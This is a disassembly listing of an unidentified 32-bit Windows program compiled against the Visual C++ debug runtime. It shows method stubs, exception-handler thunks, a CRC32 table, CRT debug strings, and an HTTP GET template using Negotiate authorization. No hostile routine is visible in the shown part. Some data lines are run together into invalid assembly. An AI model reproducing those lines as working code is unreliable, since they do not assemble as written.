arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_437E10
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_437E75
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41FCE0
		add	esp, 4


loc_437E75:				; CODE XREF: sub_437E50+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437E50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41D900
		add	esp, 8
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41D900
		add	esp, 8
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41D900
		add	esp, 8
		xor	edx, edx
		test	eax, eax
		setnle	dl
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_43B000
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437F60	proc near		; CODE XREF: sub_437360+48p
					; sub_437450+1Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		mov	ecx, 8
		mov	esi, offset dword_43B008
		lea	edi, [ebp+var_20]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		call	ds:dword_4F1498	; RaiseException
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	8
sub_437F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437FB0	proc near		; DATA XREF: seg001:0043B1D4o
		lea	ecx, [ebp-38h]
		jmp	sub_40D482
sub_437FB0	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_437FCE
		mov	ecx, [ebp+8]
		jmp	sub_40D482
; ---------------------------------------------------------------------------

locret_437FCE:				; CODE XREF: seg000:00437FC0j
		retn
; ---------------------------------------------------------------------------


loc_437FCF:				; DATA XREF: sub_40D017o
		mov	eax, offset dword_43B1A8
		jmp	sub_41F580
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+14h]
		jmp	sub_40D482
; ---------------------------------------------------------------------------


loc_437FE1:				; DATA XREF: seg001:0043B204o
		lea	ecx, [ebp-1Ch]
		jmp	sub_40D482
; ---------------------------------------------------------------------------


loc_437FE9:				; DATA XREF: sub_40D18Eo
		mov	eax, offset dword_43B1D8
		jmp	sub_41F580
; ---------------------------------------------------------------------------
		align 4


loc_437FF4:				; DATA XREF: sub_40D8BFo
		mov	eax, offset dword_43B208
		jmp	sub_41F580
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40D482
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_437360	proc near		; DATA XREF: sub_437360+5o
		mov	eax, offset dword_43B2E0
		jmp	sub_41F580
SEH_437360	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_437DA0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4373C0	proc near		; DATA XREF: sub_4373C0+5o
		mov	eax, offset dword_43B308
		jmp	sub_41F580
SEH_4373C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_437DA0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_437480	proc near		; DATA XREF: sub_437480+5o
		mov	eax, offset dword_43B350
		jmp	sub_41F580
SEH_437480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		call	sub_437DA0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_437540	proc near		; DATA XREF: sub_437540+5o
		mov	eax, offset dword_43B378
		jmp	sub_41F580
SEH_437540	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40D482
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_437660	proc near		; DATA XREF: sub_437660+5o
		mov	eax, offset dword_43B3E0
		jmp	sub_41F580
SEH_437660	endp

; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 00039000)
; Virtual size			: 00003000 (  12288.)
; Section size in file		: 00003000 (  12288.)
; Offset to raw	data for section: 00039000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 439000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0
		dd 47F514CAh, 0
		dd 2, 4Bh, 0
		dd 54E00h
dword_43901C	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D18E+68o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dbl_439458	dq 1.388888888888889e-2	; DATA XREF: sub_40CFCB+2Fr
dbl_439460	dq 1.666666666666667e-1	; DATA XREF: sub_40CFCB+15r
dbl_439468	dq 1.333333333333333	; DATA XREF: sub_40D017+70r
dword_439470	dd 0FFFFFFFFh						; sub_40D4B2r ...
dword_439474	dd 2 dup(0)			dd 3F500000h
dbl_439480	dq -1.52587890625e-4	; DATA XREF: sub_417120+3E5r
dbl_439488	dq 3.0517578125e-4	; DATA XREF: sub_417120+3C5r
dbl_439490	dq -3.0517578125e-4	; DATA XREF: sub_417120+342r
					; sub_417120+3A7r
dbl_439498	dq 1.52587890625e-4	; DATA XREF: sub_417120+271r
dbl_4394A0	dq -1.739501953125e-3	; DATA XREF: sub_417120+24Br
					; sub_417120+2D5r ...
dbl_4394A8	dq 3.11279296875e-3	; DATA XREF: sub_417120+E1r
dbl_4394B0	dq 3.0517578125e-5	; DATA XREF: sub_417120+AEr
					; sub_417120+138r ...
dbl_4394B8	dq 6.103515625e-5	; DATA XREF: sub_417120+93r
					; sub_417120+308r
dbl_4394C0	dq 2.288818359375e-3	; DATA XREF: sub_417120+21r
dbl_4394C8	dq -3.0517578125e-5	; DATA XREF: sub_41801E+2Br
flt_4394D0	dd 9.765625e-4		; DATA XREF: sub_419E6F+1AEr
flt_4394D4	dd 8.0			; DATA XREF: sub_419E6F+1A8r
flt_4394D8	dd 0.0			; DATA XREF: sub_419E6F+16Fr
flt_4394DC	dd 1.0e-3		; DATA XREF: sub_419E6F+166r
dword_4394E0	dd 6F6C6366h, 632E6573h, 0					; sub_41AD80+25o
dword_4394EC	dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch					; sub_4201E0+Do ...
dword_4394FC	dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
					; DATA XREF: sub_41AD80+1Co
					; sub_41DEE0+45o ...
		dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree		db 'Free',0             ; DATA XREF: seg002:off_44FA50o
		align 4
aErrorMemoryAll	db 'Error: memory allocation: bad memory block type.',0Ah,0
					; DATA XREF: sub_41AF30:loc_41B09Ao
					; sub_41B330:loc_41B4B0o
		align 10h
aInvalidAllocat	db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_41AF30+11Bo
aS_25		db '%s',0               ; DATA XREF: sub_41AF30+BCo
					; sub_41AF30+16Fo ...
		align 4
aClientHookAl_0	db 'Client hook allocation failure.',0Ah,0
					; DATA XREF: sub_41AF30:loc_41AFE7o
		align 4
aClientHookAllo	db 'Client hook allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_41AF30+94o
		align 4
aDbgheap_c	db 'dbgheap.c',0        ; DATA XREF: sub_41AF30+31o
					; sub_41B330+77o ...
		align 10h
a_crtcheckmemor	db '_CrtCheckMemory()',0 ; DATA XREF: sub_41AF30+25o
					; sub_41B330+6Bo ...
		align 4
a_pfirstblockPo	db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_41B330+499o
		align 10h
a_plastblockPol	db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_41B330+445o
		align 4
aFreallocFreall	db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
					; DATA XREF: sub_41B330:loc_41B716o
		align 10h
a_block_typePol	db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
					; DATA XREF: sub_41B330+277o
		align 4
aPoldblockNline	db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
					; DATA XREF: sub_41B330:loc_41B541o
		db 'REQ',0
		align 4
a_crtisvalidhea	db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_41B330+1B6o
					; sub_41B920+A8o ...
		align 4
aAllocationTooL	db 'Allocation too large or negative: %u bytes.',0Ah,0
					; DATA XREF: sub_41B330+136o
		align 4
aClientHookRe_0	db 'Client hook re-allocation failure.',0Ah,0
					; DATA XREF: sub_41B330:loc_41B42Fo
aClientHookReAl	db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_41B330+DCo
a_pfirstblockPh	db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41B920+35Do
		align 4
a_plastblockPhe	db '_pLastBlock == pHead',0 ; DATA XREF: sub_41B920+307o
		align 4
aPheadNblockuse	db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41B920+29Co
					; sub_41BD30+112o
		align 4
aPheadNlineIgno	db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
					; DATA XREF: sub_41B920:loc_41BB44o
		align 4
aDamageAfterHsB	db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41B920+1E5o
					; sub_41C000+249o
		align 10h
aDamageBeforeHs	db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41B920+17Fo
					; sub_41C000+1ECo
		align 4
a_block_type_is	db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41B920+10Ao
					; sub_41BD30+C1o ...
		align 4
aClientHookFree	db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41B920:loc_41B98Do
		align 10h
aMemoryCheckErr	db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
					; DATA XREF: sub_41BF70+54o
		align 4
aHsLocatedAt0x0	db '%hs located at 0x%08X is %u bytes long.',0Ah,0
					; DATA XREF: sub_41C000+31Eo
		align 4
aHsAllocatedAtF	db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41C000+2EBo
aDamageOnTopOfF	db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
					; DATA XREF: sub_41C000+2A2o
		align 4
aDamaged	db 'DAMAGED',0          ; DATA XREF: sub_41C000:loc_41C1B8o
a_heapchkFail_3	db '_heapchk fails with unknown return value!',0Ah,0
					; DATA XREF: sub_41C000:loc_41C112o
		align 4
a_heapchkFail_2	db '_heapchk fails with _HEAPBADPTR.',0Ah,0
					; DATA XREF: sub_41C000:loc_41C0EAo
		align 4
a_heapchkFail_1	db '_heapchk fails with _HEAPBADEND.',0Ah,0
					; DATA XREF: sub_41C000:loc_41C0C2o
		align 10h
a_heapchkFail_0	db '_heapchk fails with _HEAPBADNODE.',0Ah,0
					; DATA XREF: sub_41C000:loc_41C09Ao
		align 4
a_heapchkFailsW	db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
					; DATA XREF: sub_41C000:loc_41C06Fo
aBadMemoryBlock	db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41C600+11Bo
		align 4
a_crtmemcheckpo	db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
					; DATA XREF: sub_41C600:loc_41C60Fo
a_crtmemdiffere	db '_CrtMemDifference: NULL state pointer.',0Ah,0
					; DATA XREF: seg000:loc_41C792o
aObjectDumpComp	db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41C8A0:loc_41CB2Co
		align 4
aCrtBlockAt0x08	db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_41C8A0+250o
		align 4
aNormalBlockAt0	db 'normal block at 0x%08X, %u bytes long.',0Ah,0
					; DATA XREF: sub_41C8A0+1F3o
aClientBlockAt0	db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_41C8A0+188o
aLd		db '{%ld} ',0           ; DATA XREF: sub_41C8A0+139o
		align 4
aHsD		db '%hs(%d) : ',0       ; DATA XREF: sub_41C8A0+111o
		align 4
aFileErrorD	db '#File Error#(%d) : ',0 ; DATA XREF: sub_41C8A0+E0o
aDumpingObjects	db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41C8A0:loc_41C8BAo
aDataSS		db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41CB60+ECo
a_2x		db '%.2X ',0            ; DATA XREF: sub_41CB60+BFo
		align 4
aDetectedMemory	db 'Detected memory leaks!',0Ah,0 ; DATA XREF: seg000:loc_41CCB4o
aTotalAllocatio	db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: seg000:0041CD9Do
		align 10h
aLargestNumberU	db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: seg000:0041CD75o
		align 4
aLdBytesInLdHsB	db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: seg000:0041CD4Bo
		align 4
aMode_t0	db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41CFE0+95o
		align 4
aModeNull	db 'mode != NULL',0     ; DATA XREF: sub_41CFE0+67o
					; sub_424520+4Fo
		align 4
aFile_t0	db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41CFE0+3Do
		align 4
aFopen_c	db 'fopen.c',0          ; DATA XREF: sub_41CFE0+18o
					; sub_41CFE0+46o ...
aFileNull	db 'file != NULL',0     ; DATA XREF: sub_41CFE0+Fo
		align 4
aFormatNull	db 'format != NULL',0   ; DATA XREF: sub_41D160+3Fo
					; sub_41D260+45o ...
		align 4
aVsprintf_c	db 'vsprintf.c',0       ; DATA XREF: sub_41D160+1Eo
					; sub_41D160+48o
		align 10h
aStringNull	db 'string != NULL',0   ; DATA XREF: sub_41D160+15o
					; sub_41D260+1Bo ...
		align 10h
aSprintf_c	db 'sprintf.c',0        ; DATA XREF: sub_41D260+24o
					; sub_41D260+4Eo ...
		align 4
aFgets_c	db 'fgets.c',0          ; DATA XREF: sub_41DEE0+24o
					; sub_41DEE0+4Eo
aFprintf_c	db 'fprintf.c',0        ; DATA XREF: sub_41E440+1Eo
					; sub_41E440+48o
		align 10h
aSscanf_c	db 'sscanf.c',0         ; DATA XREF: sub_41EB80+24o
					; sub_41EB80+4Eo
		align 4
a_file_c	db '_file.c',0          ; DATA XREF: sub_41EF20+31o
					; sub_41EF20+65o
		align 8
dbl_439CE8	dq 1.0			; DATA XREF: sub_41F150+99r
					; sub_41F370+99r ...
dword_439CF0	dd 64676264h, 632E6C65h, 7070hdword_439CFC	dd 78656E6Fh, 632E7469h, 0					; sub_41FE90+8o
dword_439D08	dd 7473626Dh, 7363776Fh, 632Ehdword_439D14	dd 3D212073h, 4C554E20h, 4Chdword_439D20	dd 65657366h, 632E6Bh					; sub_420250+19o
dword_439D28	dd 0FFFFFFFFh, 420C62h,	420C7Dh, 65737341h, 6F697472h
					; DATA XREF: seg000:00420B35o
					; seg002:0044FD5Co
		dd 6146206Eh, 64656C69h, 0
aError		db 'Error',0            ; DATA XREF: seg002:0044FD58o
		align 10h
aWarning	db 'Warning',0          ; DATA XREF: seg002:off_44FD54o
aSDS		db '%s(%d) : %s',0      ; DATA XREF: seg000:0042100Fo
asc_439D64:				; DATA XREF: seg000:loc_420FE6o
		dw 0Ah
		unicode	0, <>,0
asc_439D68:				; DATA XREF: seg000:00420FD2o
		dw 0Dh
		unicode	0, <>,0
aAssertionFai_0	db 'Assertion failed!',0 ; DATA XREF: seg000:loc_420F85o
		align 10h
aAssertionFaile	db 'Assertion failed: ',0 ; DATA XREF: seg000:loc_420F79o
		align 4
a_crtdbgreportS	db '_CrtDbgReport: String too long or IO Error',0
					; DATA XREF: seg000:00420F59o
					; seg000:0042102Co ...
		align 10h
aSecondChanceAs	db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
					; DATA XREF: seg000:00420EF6o
		align 4
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: seg000:00420EC6o
		align 10h
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: seg000:00420EACo
					; sub_42D5C0+16o
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_4211A0+2C2o
		align 10h
aDebugSProgramS	db 'Debug %s!',0Ah      ; DATA XREF: sub_4211A0+28Co
		db 0Ah
		db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
		db 0Ah
		db '(Press Retry to debug the application)',0
		align 4
aModule		db 0Ah			; DATA XREF: sub_4211A0+221o
		db 'Module: ',0
		align 10h
aFile_2		db 0Ah			; DATA XREF: sub_4211A0+1E1o
		db 'File: ',0
aLine		db 0Ah			; DATA XREF: sub_4211A0+1AAo
		db 'Line: ',0
asc_439EA0	db 0Ah			; DATA XREF: sub_4211A0+173o
					; sub_42CB30+171o
		db 0Ah,0
		align 4
aExpression	db 'Expression: ',0     ; DATA XREF: sub_4211A0+153o
		align 4
dword_439EB4	dd 0							; sub_4211A0:loc_4212D9o ...
aForInformation	db 0Ah			; DATA XREF: sub_4211A0+10Eo
		db 0Ah
		db 'For information on how your program can cause an assertion',0Ah
		db 'failure, see the Visual C++ documentation on asserts.',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4211A0+9Co
					; sub_4211A0+F4o ...
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4211A0+56o
					; sub_42CB30+EDo
		align 4
aDbgrpt_c	db 'dbgrpt.c',0         ; DATA XREF: sub_4211A0+1Fo
		align 4
aSzusermessageN	db 'szUserMessage != NULL',0 ; DATA XREF: sub_4211A0+13o
		align 4
a_freebuf_c	db '_freebuf.c',0       ; DATA XREF: sub_4215E0+15o
		align 4
aMlock_c	db 'mlock.c',0          ; DATA XREF: sub_421A80+16o
a_filbuf_c	db '_filbuf.c',0        ; DATA XREF: sub_423E50+18o
		align 4
a_open_c	db '_open.c',0          ; DATA XREF: sub_424520+2Eo
					; sub_424520+58o ...
aFilenameNull	db 'filename != NULL',0 ; DATA XREF: sub_424520+25o
		align 4
aStream_c	db 'stream.c',0         ; DATA XREF: sub_4248B0+C1o
		align 4
aInconsistentIo	db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
					; DATA XREF: sub_424A30+162o
		align 4
a_flsbuf_c	db '_flsbuf.c',0        ; DATA XREF: sub_424A30+18o
					; sub_424A30+16Eo
		align 10h
byte_43A000	db 6			; DATA XREF: sub_424CB0+8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_45003Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_450038o
		align 4
aOutput_c	db 'output.c',0         ; DATA XREF: sub_424CB0+122o
		align 10h
aCh_t0		db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_424CB0+116o
		align 10h
aTidtable_c	db 'tidtable.c',0       ; DATA XREF: sub_425B50+23o
					; sub_425C30+29o
		align 4
a_sftbuf_c	db '_sftbuf.c',0        ; DATA XREF: sub_4269E0+18o
					; sub_4269E0+B2o ...
		align 4
aFlag0Flag1	db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_426B40+13o
		align 10h
aInput_c	db 'input.c',0          ; DATA XREF: sub_426BE0+1Eo
					; sub_426BE0+4Bo
aIoinit_c	db 'ioinit.c',0         ; DATA XREF: seg000:004281DBo
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 10h
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 10h
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 10h
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 10h
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 4
aLog_0		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_4502E4o
dbl_43A188	dq 0.0			; DATA XREF: sub_428DD0+D7r
					; sub_428DD0+11Ar ...
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_429720+1Ao
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_429720+6o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_429A00:loc_429A78o
		align 10h
dword_43A1C0	dd 0FFFFFFFFh, 42A4A9h,	42A4B6h, 0dword_43A1D0	dd 0FFFFFFFFh, 0		dd offset sub_42A6DD
		align 10h
		dd offset loc_42A69E
		dd offset loc_42A6AB
dword_43A1E8	dd 0FFFFFFFFh, 42A9FCh,	42AA02h, 0dword_43A1F8	dd 0FFFFFFFFh, 42AA7Eh,	42AA8Dh, 0dword_43A208	dd 0FFFFFFFFh, 0		dd offset sub_42ABBE
		align 8
		dd offset loc_42ABA0
		dd offset loc_42ABA6
dword_43A220	dd 0FFFFFFFFh, 0		dd offset sub_42AC6A
		align 10h
		dd offset loc_42AC4C
		dd offset loc_42AC52
aLc_time	db 'LC_TIME',0          ; DATA XREF: seg002:0045056Co
aLc_numeric	db 'LC_NUMERIC',0       ; DATA XREF: seg002:00450560o
		align 4
aLc_monetary	db 'LC_MONETARY',0      ; DATA XREF: seg002:00450554o
aLc_ctype	db 'LC_CTYPE',0         ; DATA XREF: seg002:00450548o
		align 4
aLc_collate	db 'LC_COLLATE',0       ; DATA XREF: seg002:0045053Co
		align 10h
aLc_all		db 'LC_ALL',0           ; DATA XREF: seg002:off_450530o
		align 4
asc_43A278:				; DATA XREF: seg000:loc_42AE43o
					; sub_42B220+83o
